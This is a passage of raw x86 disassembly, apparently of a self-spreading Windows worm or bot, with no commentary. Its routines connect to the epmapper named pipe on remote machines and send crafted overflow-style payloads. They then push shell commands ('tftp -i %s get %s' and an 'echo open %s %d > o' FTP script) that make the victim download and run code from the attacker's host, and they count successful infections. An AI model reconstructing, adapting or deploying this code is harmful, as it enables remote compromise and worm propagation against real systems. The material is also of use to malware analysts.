[ebp+var_138] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax nop call near ptr 26507E6h cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_402E5C loc_402E4D: ; CODE XREF: sub_402DD7+126j lea eax, [ebp+arg_4] push eax call sub_402ACC pop ecx jmp loc_403055 ; --------------------------------------------------------------------------- loc_402E5C: ; CODE XREF: sub_402DD7+74j lea eax, [ebp+arg_4] push 2 push eax call sub_40D4C5 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_402EF4 mov edi, 186A0h push edi call sub_417B89 mov esi, eax push edi push ebx push esi call sub_417330 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_427648 push [ebp+var_4] nop call near ptr 2650000h cmp byte ptr [esi+2], 0Ch jnz short loc_402EE4 lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call near ptr 2640000h nop test eax, eax jnz short loc_402F02 loc_402EE4: ; CODE XREF: sub_402DD7+F3j push esi call sub_417C3B push [ebp+var_8] call sub_417C3B pop ecx pop ecx loc_402EF4: ; CODE XREF: sub_402DD7+B9j push [ebp+var_4] nop call near ptr 2631A0Bh jmp loc_402E4D ; --------------------------------------------------------------------------- loc_402F02: ; CODE XREF: sub_402DD7+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] call near ptr 263108Bh nop push [ebp+var_8] mov edi, eax call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] nop call near ptr 2631A0Bh lea eax, [ebp+arg_4] push eax call sub_402ACC cmp edi, 1 pop ecx jnz loc_403066 jmp loc_403055 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402DD7+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_40D4C5 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_403055 xor ebx, ebx push ebx push 1 push 2 call dword_43AE18 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403055 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_43AD98 mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_43ADD8 mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_402FD7 push [ebp+var_4] jmp short loc_40304F ; --------------------------------------------------------------------------- loc_402FD7: ; CODE XREF: sub_402DD7+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_43AD40 cmp eax, 0FFFFFFFFh jnz short loc_402FEF loc_402FEC: ; CODE XREF: sub_402DD7+22Aj push esi jmp short loc_403048 ; --------------------------------------------------------------------------- loc_402FEF: ; CODE XREF: sub_402DD7+213j push ebx push 48h push offset dword_427648 push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_402FEC mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43ADB0 push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_403030 push [ebp+var_8] jmp short loc_403048 ; --------------------------------------------------------------------------- loc_403030: ; CODE XREF: sub_402DD7+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43ADB0 push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_403059 loc_403048: ; CODE XREF: sub_402DD7+216j ; sub_402DD7+257j call sub_417C3B pop ecx push edi loc_40304F: ; CODE XREF: sub_402DD7+1FEj call dword_43AE30 loc_403055: ; CODE XREF: sub_402DD7+31j ; sub_402DD7+80j ... xor eax, eax jmp short loc_4030C7 ; --------------------------------------------------------------------------- loc_403059: ; CODE XREF: sub_402DD7+26Fj call sub_417C3B pop ecx push edi call dword_43AE30 loc_403066: ; CODE XREF: sub_402DD7+163j lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_338] push offset unk_427B78 push eax call sub_4172B0 add esp, 0Ch loc_40307E: ; CODE XREF: sub_402DD7+2C7j lea eax, [ebp+var_338] push eax call sub_40C04D test eax, eax pop ecx jnz short loc_4030A2 push 1388h nop call near ptr 2610F93h inc ebx cmp ebx, 6 jl short loc_40307E jmp short loc_4030C4 ; --------------------------------------------------------------------------- loc_4030A2: ; CODE XREF: sub_402DD7+2B6j lea eax, [ebp+var_338] push eax call sub_40BF6D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_4030C4: ; CODE XREF: sub_402DD7+2C9j push 1 pop eax loc_4030C7: ; CODE XREF: sub_402DD7+280j pop edi pop esi pop ebx leave retn sub_402DD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030CC proc near ; DATA XREF: ___:00426004o jmp $+5 sub_4030CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4030D1 proc near push 0BB80h push 76Ch call sub_415450 pop ecx mov dword_436EE0, eax pop ecx retn sub_4030D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030E8 proc near ; CODE XREF: sub_403249+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43ADD8 mov [ebp+var_C], eax mov ax, word ptr dword_436EE0 push eax call dword_43AD98 push esi push 1 push 2 mov [ebp+var_E], ax call dword_43AE18 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403222 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_403222 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43ADB0 mov esi, offset byte_42F674 push esi push esi push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 18h push esi push esi push dword_436F0C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403222 push 1F4h nop call near ptr 2610F93h push esi push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_403226 loc_403222: ; CODE XREF: sub_4030E8+51j ; sub_4030E8+67j ... xor al, al jmp short loc_403244 ; --------------------------------------------------------------------------- loc_403226: ; CODE XREF: sub_4030E8+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43ADB0 push ebx call dword_43AE30 mov al, 1 loc_403244: ; CODE XREF: sub_4030E8+13Cj pop edi pop esi pop ebx leave retn sub_4030E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403249 proc near ; CODE XREF: ___:004037ADp ; ___:004037CFp var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_417B30 mov eax, dword_428634 push ebx mov [ebp+var_10], eax mov eax, dword_428638 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_428628 push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_403288: ; CODE XREF: sub_403249+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_403288 push 60h lea eax, [ebp+var_B4] push offset dword_4280B8 push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_417390 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC+3) push eax call sub_417AB0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_417390 mov ax, word ptr dword_436EE0 add esp, 2Ch push eax call dword_43AD98 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_427DB8 call sub_417390 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_403445 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_417330 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4284E0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_417390 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_417390 push 4 lea eax, [ebp+var_11AC] push offset loc_428620 push eax call sub_417390 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_417390 add esp, 40h push esi call sub_417AB0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_417390 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_4033FE: ; CODE XREF: sub_403249+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_4033FE mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_417330 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_417330 add esp, 18h jmp short loc_40349C ; --------------------------------------------------------------------------- loc_403445: ; CODE XREF: sub_403249+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_417330 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_417390 lea eax, [ebp+var_10] push eax call sub_417AB0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_417390 mov eax, dword_4284E0 add esp, 2Ch mov [ebp+var_768], eax loc_40349C: ; CODE XREF: sub_403249+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_417330 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_4034DB loc_4034D4: ; CODE XREF: sub_403249+2B9j ; sub_403249+2E0j ... xor al, al jmp loc_403683 ; --------------------------------------------------------------------------- loc_4034DB: ; CODE XREF: sub_403249+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 push ebx push 68h push offset dword_42811C push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 push ebx push 0A0h push offset dword_428188 push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 cmp [ebp+arg_C0], ebx jz loc_4035F1 push 68h lea eax, [ebp+var_89B4] push offset dword_428340 push eax call sub_417390 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_417390 push 70h lea eax, [ebp+var_68DC] push offset dword_4283AC push eax call sub_417390 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_417390 push 84h lea eax, [ebp+var_5DA8] push offset dword_428420 push eax call sub_417390 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403647 ; --------------------------------------------------------------------------- loc_4035F1: ; CODE XREF: sub_403249+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_42822C push eax call sub_417390 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_417390 push 90h lea eax, [ebp+var_245C] push offset off_4282AC push eax call sub_417390 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403647: ; CODE XREF: sub_403249+3A6j push eax push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push 12Ch call near ptr 2610F93h nop sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4030E8 add esp, 0BCh test al, al setnz al loc_403683: ; CODE XREF: sub_403249+28Dj pop edi pop esi pop ebx leave retn sub_403249 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_415450 xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_417330 add esp, 14h lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_43ADD8 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_43AD98 push 6 push 1 push 2 mov [ebp-12h], ax call dword_43AE18 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403790 lea eax, [ebp-14h] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_403790 push edi push 89h push offset dword_427EA0 push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403790 mov esi, 640h push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43ADB0 push edi push 0A8h push offset dword_427F2C push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43ADB0 push edi push 0DEh push offset dword_427FD8 push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43ADB0 movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40379A dec eax jz short loc_403797 loc_403790: ; CODE XREF: ___:004036EBj ; ___:00403701j ... xor eax, eax jmp loc_403817 ; --------------------------------------------------------------------------- loc_403797: ; CODE XREF: ___:0040378Ej push edi jmp short loc_4037BE ; --------------------------------------------------------------------------- loc_40379A: ; CODE XREF: ___:0040378Bj push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jnz short loc_4037DE push 1 loc_4037BE: ; CODE XREF: ___:00403798j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jz short loc_4037E5 loc_4037DE: ; CODE XREF: ___:004037BAj mov dword ptr [ebp-4], 1 loc_4037E5: ; CODE XREF: ___:004037DCj push ebx call dword_43AE30 cmp dword ptr [ebp-4], 0 jz short loc_403814 lea eax, [ebp-854h] push eax call sub_40BF6D mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_403814: ; CODE XREF: ___:004037F0j push 1 pop eax loc_403817: ; CODE XREF: ___:00403792j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40381C proc near ; CODE XREF: sub_403A90+Ep ; sub_403A90+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40381C endp ; =============== S U B R O U T I N E ======================================= sub_403826 proc near ; CODE XREF: sub_403A90+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_417B89 mov edi, eax pop ecx test edi, edi jz short loc_403858 push ebx push 0 push edi call sub_417330 push ebx push [esp+1Ch+arg_0] push edi call sub_417390 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_403858: ; CODE XREF: sub_403826+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_403826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403860 proc near ; CODE XREF: sub_40395A+18p ; sub_4039D4+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_417B89 mov esi, eax pop ecx test esi, esi jz short loc_4038AC push edi push 0 push esi call sub_417330 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_417390 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_417390 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4038AC: ; CODE XREF: sub_403860+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403860 endp ; =============== S U B R O U T I N E ======================================= sub_4038B5 proc near ; CODE XREF: sub_40395A+5Ep ; sub_40395A+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4038C5 push eax call sub_417C3B pop ecx loc_4038C5: ; CODE XREF: sub_4038B5+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4038B5 endp ; =============== S U B R O U T I N E ======================================= sub_4038CE proc near ; CODE XREF: sub_40395A+20p ; sub_403A35+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4038FB xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_4038FF loc_4038FB: ; CODE XREF: sub_4038CE+Dj xor al, al jmp short loc_403956 ; --------------------------------------------------------------------------- loc_4038FF: ; CODE XREF: sub_4038CE+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_417330 add esp, 0Ch cmp ebx, 1 jnz short loc_403924 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40393E ; --------------------------------------------------------------------------- loc_403924: ; CODE XREF: sub_4038CE+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40393E: ; CODE XREF: sub_4038CE+54j push eax call sub_417390 add esp, 0Ch push dword ptr [esi] call sub_417C3B add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_403956: ; CODE XREF: sub_4038CE+2Fj pop edi pop esi pop ebx retn sub_4038CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40395A proc near ; CODE XREF: sub_403A90+89p ; sub_403A90+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_436EF4 call sub_403860 lea ecx, [ebp+var_8] call sub_4038CE mov eax, [ebp+var_4] inc eax push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_403994 xor al, al jmp short loc_4039D0 ; --------------------------------------------------------------------------- loc_403994: ; CODE XREF: sub_40395A+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_417330 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_417390 add esp, 18h mov ecx, esi call sub_4038B5 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4038B5 mov al, 1 loc_4039D0: ; CODE XREF: sub_40395A+38j pop edi pop esi leave retn sub_40395A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039D4 proc near ; CODE XREF: sub_403A08+14p ; sub_403A25+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4039D4 endp ; =============== S U B R O U T I N E ======================================= sub_403A08 proc near ; CODE XREF: sub_403A90+F0p ; sub_403A90+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_417AB0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_4039D4 pop esi retn 4 sub_403A08 endp ; =============== S U B R O U T I N E ======================================= sub_403A25 proc near ; CODE XREF: sub_403A71+Bp ; sub_403A90+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4039D4 retn 8 sub_403A25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A35 proc near ; CODE XREF: sub_403A71+16p ; sub_403A90+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4038CE test al, al jz short loc_403A6E push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4289A7+1) call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_403A6E: ; CODE XREF: sub_403A35+Fj pop esi leave retn sub_403A35 endp ; =============== S U B R O U T I N E ======================================= sub_403A71 proc near ; CODE XREF: sub_403A90+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_403A25 test al, al jz short loc_403A8C mov ecx, esi call sub_403A35 loc_403A8C: ; CODE XREF: sub_403A71+12j pop esi retn 8 sub_403A71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A90 proc near ; CODE XREF: ___:00404315p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40381C mov edi, 408h cmp [ebp+arg_8], edi jg loc_403DE4 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_403DE4 push esi lea ecx, [ebp+var_30] call sub_40381C lea ecx, [ebp+var_20] call sub_40381C lea ecx, [ebp+var_50] call sub_40381C lea ecx, [ebp+var_18] call sub_40381C lea ecx, [ebp+var_40] call sub_40381C lea ecx, [ebp+var_38] call sub_40381C lea ecx, [ebp+var_28] call sub_40381C push 4 push offset dword_428648 lea ecx, [ebp+var_30] call sub_4039D4 push 3 push offset dword_428650 lea ecx, [ebp+var_30] call sub_4039D4 lea ecx, [ebp+var_30] call sub_40395A lea ecx, [ebp+var_30] call sub_403A35 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_42863C call sub_4039D4 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4039D4 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_4039D4 lea ecx, [ebp+var_20] call sub_40395A push offset loc_4289D0 lea ecx, [ebp+var_50] call sub_403A08 lea ecx, [ebp+var_50] call sub_40395A push esi lea eax, [ebp+var_858] push 44h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_403826 lea ecx, [ebp+var_58] call sub_40395A push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_403A71 lea ecx, [ebp+var_58] call sub_4038B5 push esi lea eax, [ebp+var_858] push 43h push eax call sub_417330 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_403A08 push 4 push offset dword_428654 lea ecx, [ebp+var_18] call sub_4039D4 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4039D4 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_4039D4 lea ecx, [ebp+var_18] call sub_40395A push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_403A25 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_403A25 lea ecx, [ebp+var_40] call sub_403A35 lea ecx, [ebp+var_18] call sub_4038B5 lea ecx, [ebp+var_50] call sub_4038B5 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_403A25 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_403A25 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_403A25 lea ecx, [ebp+var_38] call sub_403A35 lea ecx, [ebp+var_20] call sub_4038B5 lea ecx, [ebp+var_30] call sub_4038B5 lea ecx, [ebp+var_40] call sub_4038B5 push esi lea eax, [ebp+var_858] push 41h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_4039D4 lea ecx, [ebp+var_28] call sub_40395A push 2 push offset dword_4289C4 lea ecx, [ebp+var_28] call sub_4039D4 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_403A25 lea ecx, [ebp+var_28] call sub_403A35 lea ecx, [ebp+var_38] call sub_4038B5 lea ecx, [ebp+var_10] call sub_40381C lea ecx, [ebp+var_8] call sub_40381C push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_28] call sub_4038B5 push offset dword_4289C0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289BC lea ecx, [ebp+var_10] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_8] call sub_4038B5 push offset dword_4289B0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] 